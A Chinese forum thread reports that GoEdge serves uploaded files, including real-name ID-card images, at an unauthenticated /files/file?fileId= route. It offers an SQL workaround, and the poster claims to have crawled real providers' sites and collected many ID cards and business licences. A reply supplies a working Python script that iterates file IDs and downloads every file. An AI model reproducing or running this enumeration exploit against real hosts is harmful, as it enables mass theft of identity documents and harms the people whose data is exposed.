搜索
缓存时间16 现在时间16 缓存数据 所有关系变淡的原因,一个不说,一个不问,或一个问的尴尬,一个答的敷衍
查看: 979|回复: 3

Goedge静态文件路径未鉴权,泄露用户身份证件信息

[复制链接]
发表于 2024-8-18 04:55:10 | 显示全部楼层 |阅读模式

马上注册,免受广告困扰,轻松兑换eSIM!

您需要 登录 才可以下载或查看,没有账号?注册

×
经测试Goedge用户端上传的静态资源和实名认证时上传的身份证图片全部都在 /files/file 这个路由下

只要用户端地址+/files/file?fileId=1 就可以获取到上传的图片附件(主控端也一样)

虽然上传身份证时在数据库的 isPublic 字段确实是不公开的,但是goedge却没有判断这个字段,还是可以公开访问

目前只有一个临时解决方案,在数据库执行这个这个命令,把证件附件的状态改一下(改了后就访问不了,审核的时候也看不到),这个bug还需要goedge那边进行修复
UPDATE edgefiles SET state = 0 WHERE type = 'user.idcard';

根据以上规则,写个脚本就可以批量拿到该系统上传的所有图片文件

方能和安捷自家用的都是Goedge,随便爬一下拿到不少身份证正反面和营业执照的图片

01.jpg
爱生活,爱奶昔~
发表于 2024-8-18 08:24:53 | 显示全部楼层
啊哈哈哈~来不拉力~
爱生活,爱奶昔~
回复 支持 反对

使用道具 举报

发表于 2024-8-18 13:20:52 | 显示全部楼层
import requests
import os

# 创建保存图片的文件夹
save_dir = 'downloaded_images'
if not os.path.exists(save_dir):
    os.makedirs(save_dir)

# 循环下载图片
base_url = 'https://域名/files/file?fileId='
start_id = 1
end_id = 129

for file_id in range(start_id, end_id + 1):
    url = f'{base_url}{file_id}'
    response = requests.get(url)
    
    if response.status_code == 200:
        file_path = os.path.join(save_dir, f'image_{file_id}.jpg')
        with open(file_path, 'wb') as f:
            f.write(response.content)
        print(f'Successfully downloaded {file_path}')
    else:
        print(f'Failed to download {url}')

print('All downloads completed.')
爱生活,爱奶昔~
回复 支持 反对

使用道具 举报

发表于 2024-9-10 14:24:32 | 显示全部楼层
         Goedge的作者真的卖了吗?
爱生活,爱奶昔~
回复 支持 反对

使用道具 举报

Powered by Nyarime. Licensed

GMT+8, 2024-12-23 16:55 , Processed in 0.023817 second(s), 14 queries , Gzip On, Redis On
发帖际遇 ·手机版 ·小黑屋 ·RSS ·奶昔网

登录切换风格
快速回复 返回顶部 返回列表